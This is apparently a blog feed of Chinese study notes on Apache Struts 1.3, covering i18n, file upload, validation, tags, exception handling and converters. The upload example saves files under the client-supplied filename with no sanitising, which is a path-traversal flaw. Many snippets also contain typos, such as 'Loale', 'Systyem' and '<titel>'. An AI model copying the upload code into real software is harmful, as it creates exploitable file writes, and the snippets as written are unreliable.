  注意:文件默認放在根src下,如入在其他目錄下.
  如:res目錄下用"."連接<message-resources parameter="res.MessageResources"/>
2 提供不同版本的國際化文件,中文需要采用native2ascii轉換成unicode
MessageResources_en_US.properties文件
user.login.success={0},Login Success
user.title=User Login
user.name=User Name
user.password=Password
user.button.login=Login
MessageResources_zh_CN.properties文件
user.login.success={0},\u767b\u5f55\u6210\u529f
user.title=\u7528\u6237\u767b\u5f55
user.name=\u7528\u6237\
user.password=\u5bc6\u7801
user.button.login=\u767b\u5f55
3 在jsp中采用<bean:message>標簽讀取國際化文本
<titel><bean:message key="user.title"/></title>
<bean:message key="user.name"/>:<input type="text" name="username"/>
<bean:message key="user.password"/>:<input type="password" name="password"/>
<input type="submit" value="<bean:message key="user.name"/>"/>
4 動態設置locale
Locale currentLocale=Locale.getDefalut();得到Locale
currentLocale=new Loale("zh","CN");//建立Locale
currentLocale=new Loale("en","US");//建立Locale
request.getSession().setAttribute(Globals.LOCALE_KEY,currentLocale);
this.setLocale(request,currentLocale);//效果同上
5 動態設置message
  * 創建messages集合
  ActionMessages messages=new ActionMessages();
  * 創建國際化消息文本
 public ActionMessage(String key,Object value)
 ActionMessage message=new ActionMessage("user.login.success",username);//只不清一個參數
 //ActionMessage message=new ActionMessage("user.login.success",new Object[]{username});//多個參數
 messages.add("loginSuccess1",message);
 * 傳遞國際化消息文本
 this.saveMessages(request,messages);
 錯誤信息傳遞使用:this.saveErrors(request,messages);
 * 頁面輸出
 通過<html:message>標簽顯示消息(可以顯示普通消息和錯誤消息)
 通過<html:errors>標簽顯示消息(只能顯示錯誤消息)
 <html:messages id="msg" message="true">//html:messages標記與ActionMessages messages集合對應
  <bean:write name="msg"/>
 <html:messages>
 <html:messages id="msg" message="true" property="loginSuccess1">
  <bean:write name="msg"/>
 <html:messages>
-------------------------------------------------------------------
JSTL國際化
<fmt:setLocale vlaue="${header['accept-language']}"/>設置locale
<fmt:setBundle basename="res.MessageResources"/>//設置資源文件
<fmt:message key="user.username"/>
---------------------------------------------------------------------
struts的路徑與模式匹配


junly 2009-11-30 08:16 發表評論
]]>
struts1.3-文件上傳http://www.tkk7.com/ywj-316/archive/2009/11/30/304200.htmljunlyjunlyMon, 30 Nov 2009 00:16:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304200.htmlhttp://www.tkk7.com/ywj-316/comments/304200.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304200.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304200.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304200.html <form action="" name="form1"  enctype="multipart/form-data" method="post">
2 建ActionForm類
private String title;
private FormFile file;//必須用apache的FormFile類(org.apache.struts.upload.FormFile)
3 建立Action類
UplodaActionForm uaf=(UplodaActionForm)form;
Systyem.out.println("title:"+uaf.getTitle());
FormFile file=uaf.getFile();
if(file!=null)
{
 System.out.println("fileName:"+file.getFileName());
 FileOutputStream fos=new FileOutputStream("c:\\"+file.getFileName());
 fos.write(file.getFileData());
 fos.flush();
 fos.close();
}
return mapping.findForward("sessucc");
4 配置ActionForm和Action
<controller MaxFileSize="10M"></controller>該屬性可以配置上傳文件的大小等相關信息

junly 2009-11-30 08:16 發表評論
]]>
struts1.3-validatehttp://www.tkk7.com/ywj-316/archive/2009/11/30/304198.htmljunlyjunlyMon, 30 Nov 2009 00:15:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304198.htmlhttp://www.tkk7.com/ywj-316/comments/304198.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304198.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304198.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304198.html 1)重寫ActionForm中的validate方法
public ActionErrors validate(ActionMapping mapping,HttpServletRequest request){
 ActionErrors errors=new ActionErrors ();
  if(username==null || username.length()<0){
  errors.add("unameisnull",new ActionMessgae("error.validate.unull"));
 }
 return errors;
}
2)資源文件ApplicationResources.properties
error.validate.unull=usernaem is null
3)在config.xml的<action-mappings>中<action>加入validate="true"屬性
4)頁面標簽
<html:errors/>
----------------------------------------------------
validate驗證框架
1 創建form繼承ValidatorForm或用DynaValidatorForm
2 在WEB-INF下創建validator-rules.xml和validation.xml
3 在src下創建資源文件ApplicationResources.properties
4 要struts-config.xml中配
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
    <set-property property="pathnames"
                       value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
</plug-in>
5 編寫validation.xml文件
<formset>
 <form name="userForm">
   <field property="username"  depends="required">
   <arg key="lable.username"/>
   </field>
 </form>
</formset>
6 頁面使用<html:errors/>標簽

junly 2009-11-30 08:15 發表評論
]]>
struts1.3-標簽http://www.tkk7.com/ywj-316/archive/2009/11/30/304197.htmljunlyjunlyMon, 30 Nov 2009 00:14:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304197.htmlhttp://www.tkk7.com/ywj-316/comments/304197.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304197.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304197.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304197.htmlstruts標簽的使用和配置
配置:
1 在struts-config.xml文件中加入(可以到示例中的struts-config.xml文件中復制)
  <message-resources parameter="MessageResources" />
2 在示例的src下拷貝MessageResources.properties文件到項目src下
3 在頁面引入就可使用
  <%@ taglib prefix="bean" uri="http://struts.apache.org/tags-bean"%>
說明:第1,2步為struts的國際化資源束文件引入,第3為標簽引入
-----------------------------------------------------------------------------
Bean標記
bean:define
從已有的變量或者變量的屬性來定義一個新的變量。
<bean:define id="新定義的變量名" scope="原變量的scope" name="原變量名" toScope="新定義變量的scope"></bean:define>
<bean:define id="新定義的變量名" scope="原變量的scope" name="原變量名" property="原變量的屬性名" toScope="新定義變量的scope"></bean:define>
bean:write
<bean:write scope="變量的scope" name="變量名" property="變量的屬性名" filter="是否按html格式輸出(默認true為文本輸出)" format="數字(###,###.0000)日期(yyyy-MM-dd HH:mm:ss)"/>
結構數據中多重屬性可用"."作導航取出來
bean:message
相當于jstl中<fmt:message>(國際化標簽)
1 定義資源文件
com.itcast.ApplicationResources.properties
com.itcast.ApplicationResources_zh_CN.properties
2 在struts-config中添加:
<message-resources parameter="ApplicationResources" key="myKey" />
3 頁面中使用
<bean:message bundle="myKey" key="userName"/>
<bean:message bundle="myKey" key="password"/>
bean:size標簽
--------------------------------------------------------------
logic標記
logic:empty/login:notEmpty 判斷對象是否為空
<logic:empty name="對象名" property="屬性名" scope="對象的scope">
 為空<br>
</logic:empty>
logic:notEmpty 判斷對象是否不為空
<logic:notEmpty name="對象名" property="屬性名" scope="對象的scope">
 不為空<br>
</logic:notEmpty>
logic:present 判斷對象是否存在(用方同上)
logic:notPresent
----------------------------------------------||
例子:
request.setAtrribute("attr1",null);
request.setAtrribute("attr2","");
request.setAtrribute("attr3",new ArrayList());
<logic:empty name="attr1">
 11<br>
</logic:empty>
<logic:notEmpty name="attr1">
 12<br>
</logic:notEmpty>
<logic:present name="attr1">
 13<br>
</logic:present>
<logic:notPresent name="attr1">
 14<br>
</logic:notPresent>

<logic:empty name="attr2">
 21<br>
</logic:empty>
<logic:notEmpty name="attr2">
 22<br>
</logic:notEmpty>
<logic:present name="attr2">
 23<br>
</logic:present>
<logic:notPresent name="attr2">
 24<br>
</logic:notPresent>

<logic:empty name="attr3">
 31<br>
</logic:empty>
<logic:notEmpty name="attr3">
 32<br>
</logic:notEmpty>
<logic:present name="attr3">
 33<br>
</logic:present>
<logic:notPresent name="attr3">
 34<br>
</logic:notPresent>
結果:
11空
14不存在

21空
23存在

31空
33存在
-----------------------------------------||
html:equal/html:notEqual
html:greaterEqual大于等于
html:greaterThan大于
html:lessEqual小于等于
html:lessThan小于
-----------------------------------------||
logic:iterate(循環)
name:對應的bean,是一個集合類型
property:對應的集合類型的屬性
scope:變量的scope
id:臨時變量名
offset:循環起始位置
indexId:集合中當前無素的下標
length:控制長度
單循環
<logic:iterate id="username" scope="request" name="對應的bean,是一個集合類型">
     output every username:${username }<br>
</logic:iterate>
雙循環
<logic:iterate id="user" scope="request" name="list" offset="2" indexId="i">
     ${user.username }<br>
     <logic:iterate id="love" name="user" property="loves">
      ${love }
     </logic:iterate><br>
</logic:iterate><br>

logic:
tiles標記

----------------------------------------------------------------
html標簽
<html:form action="/login" method="post">
username:<html:text property="username" value="123"/>
password:<html:password property="password"/>
sex:<html:radio property="sex" value="0" />男
    <html:radio property="sex" value="1" />女
likes:<html:checkbox property="0" value="0">吃飯</html:checkbox>
      <html:checkbox property="0" value="1">吃飯</html:checkbox>
xueli:<html:select property="xueli">
         <html:option value="0">小學</html:option>
         <html:option value="1">小學</html:option>
  <html:optionsCollection property="qxlist" label="qx" value="qxid"/>
  //<html:optionsCollection name="qxlist" label="qx" value="qxid"/>

         1.
      </html:select>
<html:submit value="提交"/>
</html:form>



junly 2009-11-30 08:14 發表評論
]]>
struts1.3-validator驗證框架http://www.tkk7.com/ywj-316/archive/2009/11/30/304196.htmljunlyjunlyMon, 30 Nov 2009 00:13:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304196.htmlhttp://www.tkk7.com/ywj-316/comments/304196.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304196.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304196.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304196.html 1 配置:
    * 加入國際化配置在struts-config.xml文件中,如:
    <message-resources parameter="MessageResources"/>
    * 提供國際化資源文件
    * 引入validator插件在struts-config.xml文件中,如:
    <plug-in className="org.apache.struts.validator.ValidatorPlugIn">
      <set=property
       property="pathnames"
       value="WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"
      />
    </plug-in>
    * 提供validator.xml和validator_rules.xml文件,將此文件拷貝到WEB-INF下
2 validator服務器驗證
    * 配置validation.xml文件
3 validator客戶驗證(javascript)
    * 配置validation.xml文件
    * 在jsp頁面中包含<html:javascript>
    * 對需要驗證的表單定義onsubmit事件,其中事件名稱為validate+ActionForm的名稱,如:validateLogin

junly 2009-11-30 08:13 發表評論
]]>
struts1.3-ForwardActionhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304194.htmljunlyjunlyMon, 30 Nov 2009 00:12:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304194.htmlhttp://www.tkk7.com/ywj-316/comments/304194.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304194.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304194.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304194.html 配置struts-config.xml即可
<action-mappings>
 <action path="/preAddStudentAction" forward="/WEB-INF/AddStudent.jsp" />
 <forward name="success" path="/login_success.jsp"/>
</action-mappings>
全局的
<global-forwards>
 <forward name="success" path="/login_success.jsp"/>
</global-forwards>
對象名為ActionFroward,運行期不能改修配置,即調用froward.setReadirect(false);
ForwardAction執行完所有內容,forward屬性到轉向頁面就停了

junly 2009-11-30 08:12 發表評論
]]>
struts1.3-plugInhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304195.htmljunlyjunlyMon, 30 Nov 2009 00:12:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304195.htmlhttp://www.tkk7.com/ywj-316/comments/304195.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304195.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304195.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304195.html org.apache.struts.validator.ValidatorPlugIn

junly 2009-11-30 08:12 發表評論
]]>
struts1.3-exceptionhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304193.htmljunlyjunlyMon, 30 Nov 2009 00:11:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304193.htmlhttp://www.tkk7.com/ywj-316/comments/304193.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304193.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304193.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304193.html一 配置異常(在struts-config.xml文件中定義),定制異常有兩種:
1 全局異常(Global Exceptions)
<global-exceptions>
 <exception key="invalideUser"
 path="/Login.jsp" type="com.future.struts.MyException" />
</global-exceptions>
2 局部異常(Local Exception)
<action-mappings>
  <action attribute="loginForm" name="loginForm"
   path="/loginAction(出錯轉向的路徑)" scope="request"
   input="/login.jsp"http://異常轉向的頁面,同exception中的path,優先級path高于input
  />
  <exception key="invalideUser(異常信息的key)" path="/Error.jsp"
  type="cn.itcast.ItcastException(異常類全名)" />
</action-mappings>
 path:出現異常后跳轉的頁面
 key:異常信息的鍵,對應的值在資源文件當中
 type:所要處理的異常類
二 在相應的action中的execute方法中拋出異常
三 在異常處理頁面(path所指的頁面)使用html:errors標簽打印異常信息
1 建立資源文件ApplicationResources.properties
內容:invaliduser=it is an invalid user(key/value)
2 配置struts-config.xml文件
  <message-resources parameter="cn.itcast.ApplicationResources" key="invalideuser"/>
3 使用html:errors標記打印信息
  <html:errors />
  --------------------------------------------
1 編程式異常
  * 截獲異常
  * 創建相應的異常消息
  * 傳遞異常消息
  * 轉向相應的頁面處理異常
2 聲明式異常(自動處理的異常)
  * 在struts-config.xml文件中配置<exeception/>標簽
  * 理解局部和全局exception
  * 注意局部<exception/>標簽需要配置到<forward/>標簽的前面
 
  <exeception/>標簽中的屬性說明:
      * key:指異常信息對應的國際化消息文本,這個key值需要在國際化資源文件中定義
      * type:處理那種異常
      * path:定義一但出現異常,需要轉向那個頁面,如果不定義path,
             默認情況下將使用<action>標簽中input屬性對應的頁面
      * scope:可以取值request和session,默認為request
      * handler:導常的處理類,struts默認采用org.apache.struts.action.ExceptionHandler,
                如果做個性化的異常處理可以繼承此類復寫相應的方法
-------------------------------------------------------------------------
個性異常類定義
一 方法:
1 定義MessageResources.propertices資源文件
2 在struts-config中配置<exception/>
  <exception key="error.exception" type="com.bjsxt.struts.ErrorCodeException"
   handler="com.bjsxt.struts.ErrorCodeException" />
3 編寫異常類ErrorCodeException繼承RuntimeException
public class ErrorCodeException extends RuntimeException {
 private String errorCode;//這是key對應的值
 private Object[] args;//這是參數集合
 public ErrorCodeException(String errorCode){
  this(errorCode,null);
 }
 public ErrorCodeException(String errorCode,Object args0){
  this(errorCode,new Object[]{args0});
 }
 public ErrorCodeException(String errorCode,Object[] args){
  this.errorCode=errorCode;
  this.args=args;
 }
 public String getErrorCode() {
  return errorCode;
 }
 public Object[] getArgs() {
  return args;
 }
}
4 編寫ErrorCodeExceptionHandler類繼承ExceptionHandler,
  復寫public ActionForward execute(Exception ex, ExceptionConfig ae,
         ActionMapping mapping, ActionForm formInstance,
         HttpServletRequest request, HttpServletResponse response)
         throws ServletException{}方法:
public ActionForward execute(Exception ex, ExceptionConfig ae,
         ActionMapping mapping, ActionForm formInstance,
         HttpServletRequest request, HttpServletResponse response)
         throws ServletException {
         //添加判斷
       ------------------------------------------------------------
      if(!(ex instanceof ErrorCodeException)){
       return super.execute(ex, ae, mapping, formInstance, request, response);
      }
      ------------------------------------------------------------
         ActionForward forward;
         ActionMessage error;
         String property;

         // Build the forward from the exception mapping if it exists
         // or from the form input
         if (ae.getPath() != null) {
             forward = new ActionForward(ae.getPath());
         } else {
             forward = mapping.getInputForward();
         }

         // Figure out the error
         if (ex instanceof ModuleException) {
             error = ((ModuleException) ex).getActionMessage();
             property = ((ModuleException) ex).getProperty();
         } else {
          //改修這個地方
          //----------------------------------------------
          ErrorCodeException ece=(ErrorCodeException)ex;
          String errorCode=ece.getErrorCode();
          Object[] args=ece.getArgs();
          error = new ActionMessage(errorCode, args);
          property = error.getKey();
          //------------------------------------------------
             //error = new ActionMessage(ae.getKey(), ex.getMessage());
             //property = error.getKey();
         }

         this.logException(ex);

         // Store the exception
         request.setAttribute(Globals.EXCEPTION_KEY, ex);
         this.storeException(request, property, error, forward, ae.getScope());

         if (!response.isCommitted()) {
             return forward;
         }
         return null;
     }
}
5 頁面直接拋出異常
public void login(String username,String password){
  if(!"admin".equals(username)){
    throw new ErrorCodeException("user.not.found",username,age);
  }
}
---------------------------------------------------------------------
二 方法:
1 定義MessageResources.propertices資源文件
  內容:error.exception={0}
2 在struts-config中配置<exception/>
  <exception key="error.exception" type="com.bjsxt.struts.ErrorCodeException"/>
3 編寫異常類ErrorCodeException繼承RuntimeException
public class ErrorCodeException extends RuntimeException {
  public ErrorCodeException(String msg){
    super(msg);
  }
}
4 頁面直接拋出異常
public void login(String username,String password){
  if(!"admin".equals(username)){
    throw new ErrorCodeException("名稱"+usrname+"錯誤!");
  }
}


--------------------------------------------------------------------------
1 ApplicationResources.properties文件
   num2Meg=is not a double
2 struts-config.xml
   <message-resources parameter="ApplicationResources" />
3 ActionMessages errs=new ActionMessages();
errs.add("num1Error",new ActionMessage("num2Meg"));
//errs.add(ActionMessages.GLOBAL_MESSAGE,new ActionMessage("num2Meg"));


this.saveErrors(request,errs);

頁面
<html:errors property="num1Error"/>
//<html:errors/>//全局不能指定property
errs.header="<script>alert("
errs.footer=")</script>"



junly 2009-11-30 08:11 發表評論
]]>
struts1.3-Converterhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304190.htmljunlyjunlyMon, 30 Nov 2009 00:10:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304190.htmlhttp://www.tkk7.com/ywj-316/comments/304190.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304190.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304190.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304190.htmlConverter添加java.util.Date類型轉換器
1 編寫UtilDateConverter轉換器類,
實現Converter接口的convert方法(com.sun.org.apache.commons.beanutils.Converter)
public class UtilDateConverter implements Converter {
 public Object convert(Class type, Object value) {
  System.out.println("UtilDateConverter.value="+value);
  if(value==null){
   return value;
  }
  if(value instanceof Date){//instanceof判斷是否屬于此類型
   return value;
  }
  Date d=null;
  if(value instanceof String){

   SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
   try {
    d=sdf.parse(value.toString());
   } catch (Exception e) {
    e.printStackTrace();
   }
  }
  return d;
 }
}
2 利用servlet的init()方法注冊轉換器到ConvertUtils(com.sun.org.apache.commons.beanutils.ConvertUtils)
public class UtilDateConverterInitServlet extends HttpServlet {
 public void init() throws ServletException {
  System.out.println("UtilDateConverterInitServlet.init()");
  ConvertUtils.register(new UtilDateConverter(),Date.class);
 }
}
3 配置servlet,并設</load-on-startup>值
 <servlet>
    <servlet-name>UtilDateConverterInitServlet</servlet-name>
    <servlet-class>com.bjsxt.servlet.UtilDateConverterInitServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
  </servlet>
  <servlet-mapping>
    <servlet-name>UtilDateConverterInitServlet</servlet-name>
    <url-pattern>/servlet/UtilDateConverterInitServlet</url-pattern>
  </servlet-mapping>
------------------------------------------------------------------------
方法二:
1 編寫UtilDateConverter轉換器類,
實現Converter接口的convert方法(com.sun.org.apache.commons.beanutils.Converter)
(同上)
2 編寫UtilDateConverterInitWithPlugIn類實現PlugIn接口的init()方法
public class UtilDateConverterInitWithPlugIn implements PlugIn {
 public void destroy() {
 }
 public void init(ActionServlet arg0, ModuleConfig arg1)
   throws ServletException {
  System.out.println("UtilDateConverterInitServlet.init()");
  ConvertUtils.register(new UtilDateConverter(),Date.class);
 }
}
3 在struts-config.xml文件中配置<plug-in>標簽
<plug-in className="com.bjsxt.servlet.UtilDateConverterInitWithPlugIn"/>



junly 2009-11-30 08:10 發表評論
]]>
struts1.3-DispatchActionhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304191.htmljunlyjunlyMon, 30 Nov 2009 00:10:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/30/304191.htmlhttp://www.tkk7.com/ywj-316/comments/304191.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/30/304191.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304191.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304191.htmlDynaActionForm 配態form
1 配置動態form屬性<form-property>name屬性,type屬性類型,primitive type必須使用包裝類型。
<form-beans>
   <form-bean name="addStudentForm" type="org.apache.struts.action.DynaActionForm">
    <form-property name="sname" type="java.lang.String" initial=""(初始值)></form-property>
    <form-property name="birth" type="java.sql.Date"></form-property>
    <form-property name="major" type="java.lang.String"></form-property>
    <form-property name="score" type="java.util.float"></form-property>
   </form-bean>
</form-beans>
2 配置action標記
  <action-mappings>
   <action path="/addstudentform"
           type="com.yourcompany.struts.AddAction"
           name="addStudentForm(form的名子)">
   </action>
  </action-mappings>
3 獲取頁面的值:
動態ActionForm其實是把頁面的html元素的名字和值放到名字和值放到map中,所以通過get方法可以取出相應的值
(1) String sname=(String)addStudentForm.get("sname");
 EL:   ${dynabean(addStudentForm).map.prop}
(2) String sname=(String)addStudentForm.get("sname");
動態ActionForm的驗證,通常使用動態驗證框架validator

屬性名及類型一致才可以拷貝
可以通過BeanUtils.copyProperties(userbean目標對象,form源對象)方法進行對象的復制



junly 2009-11-30 08:10 發表評論
]]>
struts1.3-基礎及原理http://www.tkk7.com/ywj-316/archive/2009/11/29/304179.htmljunlyjunlySun, 29 Nov 2009 14:59:00 GMThttp://www.tkk7.com/ywj-316/archive/2009/11/29/304179.htmlhttp://www.tkk7.com/ywj-316/comments/304179.htmlhttp://www.tkk7.com/ywj-316/archive/2009/11/29/304179.html#Feedback0http://www.tkk7.com/ywj-316/comments/commentRss/304179.htmlhttp://www.tkk7.com/ywj-316/services/trackbacks/304179.html網站struts.apache.org
實踐步驟:
1 搭建環境
  (1)導入jar包
     使用其中相關的類(可將所有jar全部導入)
  (2)建立一個配置文件:struts-config.xml
     作用:方便struts用戶使用
     位置:一般放在WEB-INF下
  (3)配置web.xml
     注冊struts中心控制器-----ActionServlet
  <servlet>
  <servlet-name>action</servlet-name>
  <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>()Navigate下Open Type輸入actionServlet復制目錄
  <init-param>//讀初始化文件的信息
   <param-name>config</param-name>//參數名
   <param-value>/WEB-INF/struts-config.xml</param-value>//文件名
  </init-param>
  <load-on-startup>0</load-on-startup>//服務啟起就實例化,0最早
 </servlet>
 <servlet-mapping>
  <servlet-name>action</servlet-name>
  <url-pattern>*.do</url-pattern>//對所有的do請求都作處理
 </servlet-mapping>
  注意事項:
  struts配置文件的位置
  預先加載控制器
------------------------------------------------------------------
2 建立ActionForm
  (1)建一個Bean類,繼承org.apache.struts.action.ActionForm
  (2)注冊,修改配置文件struts-config.xml
  <form-bean>
  <form-beans>
   <form-bean name="變理名" type="類全名"/>
  </form-beans>
  意注:struts-config.xml文件中<form-beans>和<action-mappings>的順序不能變,有DTD約束規定。
------------------------------------------------------------
3 建立Action
 (1)建立一個類,繼承org.apache.struts.action.Action。重寫execute方法
    需要強制轉型
    LoginFrom lof=(LoginFrom)form;
    調用其它模塊
    跳轉(根據關鍵字,關鍵字參照該action中forward標簽中的name屬性)
    mapping.findForward("name屬性");
 (2)注冊,修改配置文件struts-config.xml
 <action>
 <action-mappings>
        <action path="指明調用者(JSP)能通過中心控制器ActionServlet找到該Action"
                type="指明該action類全名"
                name="該action引用的form的名稱">
           <forward name="loginSuccess" path="index.jsp"></forward>
        </action>
    </action-mappings>
4 頁面訪問
<form action="<%=request.getContextPath()%>/login.do">
-------------------------------------------------------------------
Struts framework的工作原理工科

1 讀敢配置 (初始化ModuleConfig對象)
Struts框架總控制器(ActionServlet)是一個Servlet,在web.xml中配置成自動啟動的Servlet。
讀取配置文件(struts-config.xml)的配置信息,為不同的Struts模塊初始化相應的ModuleConfig
對名:ActionConfig,
      ControlConfig,
      FormBeanConfig,
      MessageResourcesConfig
2 發送請求
請求上傳WEB服務器(處理.do的請求)
3 填充FORM(實例化,復位,填充數據,校驗,保存)
(*.do請求)從ActionConfig中找出對應該請求的Action子類,如沒有對應的Action,控制器直接轉發給
JSP或靜態頁面。如有對應的Action且這個Action有一個相應的ActionForm.
ActionForm被實例化并用http請求的數據填充其屬性,并且保存在ServletContext中(request或session中),
這樣它們就可以被其它Action對象或者JSP調用。
4 派發請求
控制器根據配置信息ActionConfig將請求派發到具體的Action,相應的FormBean一并傳給這個Action的execute()方法.
5 處理業務
Action一般只包含一個execute方法,它負責執行相應的業務邏輯(調用其它業務模塊).完畢返回一個ActionForward對象,
控制器通過該ActionForward對象來進行轉發工作
6 返回響應
Action根據業務處理的不同結果返回一個目標響應對象給總控制器,該目標響應對象對應一個具體的JSP頁面或另一Action.
7 查找響應(可以是一個Action)
8 響應用戶
-----------------------------------------------------------------------------------------------------------
組件
ActionSerlet,Action Classes,Action Mapping(此處包括ActionForward),ActionForm Bean.
Struts中的MVC:
1 模型(Model):本質上來說在Struts中Model是一個商業邏輯類,開發者實現商業邏輯。
2 視圖(View):View是由與控制器Servlet配合工作的一整套JSP定制標簽庫構成,利用他們可以快速建立應用系統的界面。
3 控制器(Controller),前端控制器是一個Servlet,它將客戶端請求轉發到相應的后端控制器Action類。
注意:官方認為ActionForm Bean應為控制層(Controller)組件,自已寫的JavaBeans為模型(Model)
-----------------------------------------------------------------------------------
ActionServlet(中心控制器)
 定義:繼承自javax.servlet.http.HttpServlet類,是中心控制器(總控制器)。它提供一個中心位置來處理全部的終端請求。
 作用:接受請求,填充數據,派發請求,響應用戶。
 配置:在web.xml文件聲明。
 例子:
 <servlet>
  <servlet-name>action</servlet-name>
  <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
  <init-param>
    <param-name>config</param-name>
    <param-value>/WEB-INF/struts-config.xml</param-value>
  </init-param>
  <load-on-startup>0</load-on-startup>
</servlet>
<servlet-mapping>
  <servlet-name>action</servlet-name>
  <url-pattern>*.do</url-pattern>
</servlet-mapping>
注意:struts-config.xml文件系統默主調用,可以不<init-param>配置
<init-param>
    <param-name>config</param-name>
    <param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
-------------------------------------------------------------------
Action
發出該action請求時初始化,不是在讀取配置時,并且只初始化一次。
Action是線程不安全的,因為所有的請求共享一個別action實例。
所以:不要用實例變量或者類變是共享只是針對某個請求的數據
      注意資源操作的同步性。
應用:
統計一個action訪問次數
public class CountAction extends Action {
 private Integer count=0;
 public ActionForward execute(ActionMapping mapping, ActionForm form,
   HttpServletRequest request, HttpServletResponse response)
   throws Exception {
  synchronized(count){//加鎖
  count++;
  }
  PrintWriter out=response.getWriter();
  out.print("count="+count);
  return null;
 }
}

----------------------------------------------------
ActionMapping
是對struts-config.xml中action標簽中所有屬性的封裝類。
mapping.getName()(String)
mapping.getPath()(String)
mapping.getType()(String)
String[] forwardNames=mapping.findForwards();
for(String forward:forwardNames){
 ActionForward forward=mapping.findForward(forward);
 String forwardPath=forward.getPath();
}
相應的set方法不能使用。
-----------------------------------------------------
ActionForward(導航器)
ActionForward對象是配置對象。這些配置對象擁有獨一無二的標識以允許他們按照name屬性來檢索。
name:邏輯名稱
path:頁面或者模塊訪問路徑。
redirect:默認為false.設為true時為容器外跳轉,相當于response.sendRedirect();
在xml文件中的path中要寫絕對路徑。
--------------------------------------------------------------
ActionForm工作原理
步驟:
(1)檢查Action的映射,確定Action中已經配置了對ActionForm的映射
(2)根據name屬性,查找form bean中的配置信息
(3)檢查Action的form bean的使用范圍,確定在此范圍下(request,session),是否已經有些form bean的實例。
(4)假如當前范圍下,已經存在了些form bean的實例,而是對當前請求來說,是同一種類型的話,就重用。
(5)否則,就重新構建一個form bean的實例(調用構造方法),并且保存在一定作用范圍。
(6)form bean的reset()方法被調用
   在作數據收集前被調用,是一個重置的方法.
(7)調用對應的setter方法,對狀態屬性賦值
(8)如果validatede的屬性設置為true,就調用form bean的validate()方法。
   該方法進行表單的服務器端驗證.
(9)如果validate()方法沒有返回任何錯誤,控制器將ActionForm作為參數,傳給Action實例的execute()方法并執行。
注意:直接從ActionFrom類繼承的reset()和validate()方法,并不能實現什么處理功能,所以重新覆蓋。

           
注意:
1 無參構造方法必須有
2 Scope缺省值是session
3 調用setter方法,實質上是對應的標準set方法
分析:
4 從過程去查看
HttpSessionAttributeListener
ServletRequestAttributeListener
5 從結果去查看
---------------------------------------------------
ActionForm
reset()方法,用于恢復屬性,在重新復值前由controller調用。
valldate()方法,用于校驗屬性,返回ActionErrors,如果成功返回null,默認返回null.
關閉校驗功能設置struts-config.xml中<action>標簽的validate屬性為false.
validate
----------------------------------------------------------
struts-config.xml文件中的action標簽
1 attribute屬性
用來存取form的關鍵字,缺省值與name一樣,如果設了必須用該屬性。
2 validate屬性(action中的屬性)
用來控制是否校驗表單,缺省為false,false不校驗。
3 input屬性
當表單校驗失敗時將請求轉發的URL(或目標模塊,可以為另一個別action),結合validate屬性使用,為相對路徑。
在ActionForm類的validate方法中手動添加錯誤
public ActionErrors validate(ActionMapping mapping,HttpServletRequest request){
  ActionErrors errors=new ActionErrors();
  ActionMessage message=new ActionMessage("error");//應為鍵值對
  errors.add("error",message);
  return errors;
}
---------------------------------------------------------------------------
struts-config.xml文件中的<global-forwards>全局跳轉標簽
<global-forwards>
  <forward name="error" path="Error.jsp"/>
</global-forwards>
使用方式同action中的forwar標簽



junly 2009-11-29 22:59 發表評論
]]>
